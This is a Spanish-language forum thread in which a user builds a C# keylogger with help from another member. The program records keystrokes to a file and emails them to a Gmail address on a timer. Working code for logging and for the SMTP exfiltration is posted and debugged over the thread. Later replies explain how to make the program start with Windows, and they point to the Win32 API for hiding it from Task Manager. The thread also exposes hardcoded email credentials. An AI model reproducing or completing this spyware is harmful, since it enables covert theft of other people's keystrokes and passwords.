Foros del Web » Programación para mayores de 30 ;) » .NET »

Keylogger en C#

Estas en el tema de Keylogger en C# en el foro de .NET en Foros del Web. Buenas, basicamente se como crear un keylogger(un programa que graba todo lo que uno tipea) y hacer que este guarde todo lo que se ha ...
  #1 (permalink)  
Antiguo 10/12/2008, 14:13
 
Fecha de Ingreso: agosto-2008
Mensajes: 79
Antigüedad: 15 años, 8 meses
Puntos: 0
Exclamación Keylogger en C#

Buenas, basicamente se como crear un keylogger(un programa que graba todo lo que uno tipea) y hacer que este guarde todo lo que se ha escrito en el teclado en un documento ejemplo.txt .

Lo que yo quiero hacer ahora, es que el programa se ejecute y empieze a correr un timer. Este timer controlara todo. Una vez que llegue a 200 segundos (por ejemplo), que mande un correo via gmail.com a [email protected] con TODO lo que se ha tipeado en el teclado.

En otras palabras:
1. Se ejecuta el programa/aplicacion
2. Empieza a correr el timer y el programa graba lo que se escribe(keylogger)
3. Una vez que llega a 200 segundos, talvez menos o mas, se envia un correo via gmail.com a [email protected] CON EL EJEMPLO.TXT(que contiene todo lo que se ha tipeado).

En rojo esta lo que me falta y no se hacer, en verde todo lo que ya logre :S
Lo ideal seria, que una vez que llego a 200 segundos y envio el correo con el ejemplo.txt, que se vuelva a iniciar o que siga hasta los 400 segundos y nuevamente envie el correo... Asi sucesivamente.

Muchas gracias en adelantado.
Chris.
  #2 (permalink)  
Antiguo 10/12/2008, 14:48
Avatar de Peterpay
Colaborador
 
Fecha de Ingreso: septiembre-2007
Ubicación: San Francisco, United States
Mensajes: 3.858
Antigüedad: 16 años, 7 meses
Puntos: 87
Respuesta: Keylogger en C#

usas un objeto de tipo Timer

algo asi

Timer miTimer=new Timer(200000); // 200 segundos para interactuar.
miTimer.Tick+=new EventHandler(OnMiTimerTick);

y en el evento del OnMiTimerTick o como tu le llames ahi le pones el codigo q tome el buffer de datos q ya has leido.

si tienes tu evento q ya lee las teclas pues supongo q ese esta solo en la escucha y si un evento externo lo lanza pues listo tu no tienes que hacer otra cosa q solo enviar el buffer (o el texto ) a tu correo usando MailMessage y SmtpClient
__________________
Curso WF4
http://cursos.gurudotnet.com/ DF
Aprende HTML5
  #3 (permalink)  
Antiguo 10/12/2008, 15:04
 
Fecha de Ingreso: agosto-2008
Mensajes: 79
Antigüedad: 15 años, 8 meses
Puntos: 0
Respuesta: Keylogger en C#

Hola,
nuevamente tu ayudandome, gracias!

Queria preguntarte como hago para enviar un documento de texto (ejemplo.txt) via correo?
Gracias.
  #4 (permalink)  
Antiguo 10/12/2008, 15:46
Avatar de Peterpay
Colaborador
 
Fecha de Ingreso: septiembre-2007
Ubicación: San Francisco, United States
Mensajes: 3.858
Antigüedad: 16 años, 7 meses
Puntos: 87
Respuesta: Keylogger en C#

Hay varias formas puede ser como LinkedResource en tu correo o como MailAttachment y solo hayq darle la ruta para que lo agregue y listo.
__________________
Curso WF4
http://cursos.gurudotnet.com/ DF
Aprende HTML5
  #5 (permalink)  
Antiguo 10/12/2008, 16:04
 
Fecha de Ingreso: agosto-2008
Mensajes: 79
Antigüedad: 15 años, 8 meses
Puntos: 0
Respuesta: Keylogger en C#

perfecto, gracias!!
  #6 (permalink)  
Antiguo 10/12/2008, 16:25
 
Fecha de Ingreso: agosto-2008
Mensajes: 79
Antigüedad: 15 años, 8 meses
Puntos: 0
Respuesta: Keylogger en C#

Cita:
Iniciado por Peterpay Ver Mensaje
Hay varias formas puede ser como LinkedResource en tu correo o como MailAttachment y solo hayq darle la ruta para que lo agregue y listo.
Hola, bueno quisiera saber como aplicar esta funcion?
podria ser asi: Attachment(ruta), o.. ?

Gracias de antemano.
  #7 (permalink)  
Antiguo 10/12/2008, 18:53
Avatar de Peterpay
Colaborador
 
Fecha de Ingreso: septiembre-2007
Ubicación: San Francisco, United States
Mensajes: 3.858
Antigüedad: 16 años, 7 meses
Puntos: 87
Respuesta: Keylogger en C#

asi funciona, pero la ruta debera existir en esa maquina. pero si asi es.

http://msdn.microsoft.com/es-es/libr...nt(VS.80).aspx
__________________
Curso WF4
http://cursos.gurudotnet.com/ DF
Aprende HTML5
  #8 (permalink)  
Antiguo 10/12/2008, 19:59
 
Fecha de Ingreso: agosto-2008
Mensajes: 79
Antigüedad: 15 años, 8 meses
Puntos: 0
Exclamación Respuesta: Keylogger en C#

Hola, mira trate de hacer algo de ese estilo, pero me salen estos errores:
Cita:
Error 1 The best overloaded method match for 'System.Windows.Forms.Timer.Timer(System.Component Model.IContainer)' has some invalid arguments C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 31 28 KeyLogger
Error 2 Argument '1': cannot convert from 'int' to 'System.ComponentModel.IContainer' C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 31 38 KeyLogger
Error 3 The name 'Email' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 38 13 KeyLogger
Error 4 The name 'From' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 39 53 KeyLogger
Error 5 The name 'To' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 39 59 KeyLogger
Error 6 The name 'Subject' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 39 63 KeyLogger
Error 7 'System.Windows.Forms.Message' is a 'type' but is used like a 'variable' C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 39 72 KeyLogger
Error 8 The name 'Email' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 40 13 KeyLogger
Error 9 'System.Net.Mail.MailMessage' does not contain a constructor that takes '1' arguments C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 51 35 KeyLogger
Error 10 The name 'MediaTypeNames' does not exist in the current context C:\Documents and Settings\user\Escritorio\CR0Z3R\C#\KeyLogger\KeyLo gger\Form1.cs 52 52 KeyLogger
Aca te pongo el codigo:
Cita:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net.Mail;

namespace KeyLogger
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void Form1_KeyUp(object sender, KeyEventArgs e)
{
listBox1.Items.Add(e.KeyCode);
StreamWriter sw = new StreamWriter(@"C:\user.txt", true);
sw.Write(e.KeyCode);
sw.Close();
}

private void timer1_Tick(object sender, EventArgs e)
{
Timer tiempo = new Timer(200000);
tiempo.Tick += new EventHandler(tiempo_Tick);
}

void tiempo_Tick(object sender, EventArgs e)
{
System.Net.Mail Email;
// smtp server
Email = new System.Net.Mail.MailMessage(From, To, Subject, Message);
System.Net.Mail.SmtpClient smtpMail = new System.Net.Mail.SmtpClient("smtp.gmail.com");
Email.IsbodyHtml = false;
smtpMail.EnableSsl = true;

smtpMail.UseDefaultCredentials = true;
smtpMail.Host = "smtp.gmail.com";
smtpMail.Port = 25;
smtpMail.Credentials = new System.Net.NetworkCredential("chrishonninger@gmail .com", "nun4t3l0dir3");
// end SMTP -----------------------

string file = @"C:\user.txt";
MailMessage message = new MailMessage("[email protected]");
Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
// adjuntado
message.Attachments.Add(data);
// enviar----
smtpMail.Send(Email);
// ----#
data.Dispose();

}

private void Form1_Load(object sender, EventArgs e)
{

}
}
}
Espero me puedas ayudar de alguna manera.. Algo falta :S
Muchas gracias compadre.
  #9 (permalink)  
Antiguo 11/12/2008, 08:13
Avatar de Peterpay
Colaborador
 
Fecha de Ingreso: septiembre-2007
Ubicación: San Francisco, United States
Mensajes: 3.858
Antigüedad: 16 años, 7 meses
Puntos: 87
Respuesta: Keylogger en C#

lo q pasa es q no hay constructor de timer q acepte los milisegundos solo quitale el Timer(200000) y ponel solo Timer() y abajo a tutime.Interval=200000; o algo asi
__________________
Curso WF4
http://cursos.gurudotnet.com/ DF
Aprende HTML5
  #10 (permalink)  
Antiguo 11/12/2008, 09:34
 
Fecha de Ingreso: agosto-2008
Mensajes: 79
Antigüedad: 15 años, 8 meses
Puntos: 0
Respuesta: Keylogger en C#

Edite eso, pero aun aparecen muchos errores.
Creo yo, que la estructura de mi codigo esta algo perdida.

Es posible, que de manera simple me des una idea de este proceso:
POR UNA PARTE:
1- al ejecutarse el programa, este empieza a grabar todo lo que se escribe en 1 documento de texto (ejemplo.txt)
POR LA OTRA PARTE:
1- cuando se ejecutó el programa el tiempo del timer empezo a correr
2- una vez que llega a cierto periodo de tiempo (ej. 200segundos) se envia el ejemplo.txt adjuntado a [email protected]

LA SEGUNDA PARTE SE REPITE CONTINUAMENTE, ES DECIR CADA 200 SEGUNDOS SE ENVIA EL DOCUMENTO EJEMPLO.TXT

Muchas gracias si es posible!
Un gusto.
  #11 (permalink)  
Antiguo 11/12/2008, 10:13
Avatar de Peterpay
Colaborador
 
Fecha de Ingreso: septiembre-2007
Ubicación: San Francisco, United States
Mensajes: 3.858
Antigüedad: 16 años, 7 meses
Puntos: 87
Respuesta: Keylogger en C#

pero cuales errores, digo la idea es clara, pero que errores te da?
__________________
Curso WF4
http://cursos.gurudotnet.com/ DF
Aprende HTML5
  #12 (permalink)  
Antiguo 12/12/2008, 14:53
 
Fecha de Ingreso: agosto-2008
Mensajes: 79
Antigüedad: 15 años, 8 meses
Puntos: 0
Respuesta: Keylogger en C#

Mira, deje ese codigo por lo confuso que me parecio, e hice este:

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net.Mail;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
System.Timers.Timer tm = new System.Timers.Timer();
}

private void Form1_Load(object sender, EventArgs e)
{

}

private void Form1_KeyUp(object sender, KeyEventArgs e)
{
listBox1.Items.Add(e.KeyCode);
StreamWriter sw = new StreamWriter(@"C:\NO_BORRAR.txt", true);
sw.Write(e.KeyCode);
sw.Close();
}

private void timer1_Tick(object sender, EventArgs e)
{

}
// timerrr
System.Timers.Timer tm = new System.Timers.Timer();
public void setTime()
{
tm.Interval = 500000;
tm.Elapsed += new System.Timers.ElapsedEventHandler(tm_Elapsed);
tm.Start();
}

void tm_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
{
// strings
string From;
string To;
string Subject;
string Message;

System.Net.Mail.MailMessage Email;

// email
From = "[email protected]";
To = "[email protected]";
Subject = "KeyLogger BETA";
Message = "Aqui ta pimpum";
// smtp
Email = new System.Net.Mail.MailMessage(From, To, Subject, Message);
System.Net.Mail.SmtpClient smtpClient = new System.Net.Mail.SmtpClient("smtp.gmail.com");
smtpClient.EnableSsl = true;
//
smtpClient.UseDefaultCredentials = true;
smtpClient.Host = "smtp.gmail.com";
smtpClient.Port = 25;
smtpClient.Credentials = new System.Net.NetworkCredential("[email protected]", "mypass");
// email send
smtpClient.Send(Email);

}
}
}

Aqui todo funciona a la perfeccion, sin errores, pero el tm_Elapsed no "arranca".. Es decir, no llega el punto en el que el codigo dentro de tm_Elapsed es ejecutado.. en otras palabras, no me llega el mail :/

Alguna idea?
Muchas gracias...
  #13 (permalink)  
Antiguo 12/12/2008, 15:03
Avatar de Peterpay
Colaborador
 
Fecha de Ingreso: septiembre-2007
Ubicación: San Francisco, United States
Mensajes: 3.858
Antigüedad: 16 años, 7 meses
Puntos: 87
Respuesta: Keylogger en C#

le encuentro 2 errores porq declaras 2 veces la misma variable tm uno en el load del form y otro en el form mismos

y el otro error es q todo lo metes en un metodo set_time q no veo que lo invoques por ningun lado
__________________
Curso WF4
http://cursos.gurudotnet.com/ DF
Aprende HTML5
  #14 (permalink)  
Antiguo 12/12/2008, 16:02
 
Fecha de Ingreso: agosto-2008
Mensajes: 79
Antigüedad: 15 años, 8 meses
Puntos: 0
Respuesta: Keylogger en C#

Cita:
Iniciado por Peterpay Ver Mensaje
le encuentro 2 errores porq declaras 2 veces la misma variable tm uno en el load del form y otro en el form mismos

y el otro error es q todo lo metes en un metodo set_time q no veo que lo invoques por ningun lado
te refieres al System.Timers.Timer tm = new System.Timers.Timer(); ??

Y aun si lo invoco 2 veces, puede esto causar el disfuncionamiento del codigo?


__________________________________________________ ________________

respecto a eso, podrias explicarme como arreglarlo?
  #15 (permalink)  
Antiguo 12/12/2008, 16:11
Avatar de Peterpay
Colaborador
 
Fecha de Ingreso: septiembre-2007
Ubicación: San Francisco, United States
Mensajes: 3.858
Antigüedad: 16 años, 7 meses
Puntos: 87
Respuesta: Keylogger en C#

pues donde lo llamas esa es la pregunta donde haces el this.setTime(); yo diria que lo pusieras en el load de tu form.

lo otro no te afecta tanto pero prueba eso. primero
__________________
Curso WF4
http://cursos.gurudotnet.com/ DF
Aprende HTML5
  #16 (permalink)  
Antiguo 12/12/2008, 17:15
 
Fecha de Ingreso: agosto-2008
Mensajes: 79
Antigüedad: 15 años, 8 meses
Puntos: 0
Respuesta: Keylogger en C#

listo, agregue el this.setTime(); al load y funciona..
Muchas gracias nuevamente,
te debo mi vida!

EDIT: funciona el attachment.. sabrias un codigo que deje mi programa activado siempre? es decir, como si la ventana del programa estubiera seleccionada en TODO momento..?

Última edición por crozer; 12/12/2008 a las 18:51
  #17 (permalink)  
Antiguo 24/03/2009, 06:49
 
Fecha de Ingreso: marzo-2009
Mensajes: 21
Antigüedad: 15 años, 1 mes
Puntos: 1
Respuesta: Keylogger en C#

Hola que tal estaba viendo el codigo y me surgieron las siguientes preguntas, como se hace para que se cargue en el inicio de windows y para que no aparezca en el administrador de sistemas..

saludos
  #18 (permalink)  
Antiguo 25/03/2009, 14:32
Avatar de Peterpay
Colaborador
 
Fecha de Ingreso: septiembre-2007
Ubicación: San Francisco, United States
Mensajes: 3.858
Antigüedad: 16 años, 7 meses
Puntos: 87
Respuesta: Keylogger en C#

Para qie cargue al inicio de windows solo basta con copiar un acceso directo en el folder de startup del sistema.

Para lo del ocultarlo del taskmanager pues lleva un poco mas de tiempo porque hay que usar el api de win32
__________________
Curso WF4
http://cursos.gurudotnet.com/ DF
Aprende HTML5
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 04:28.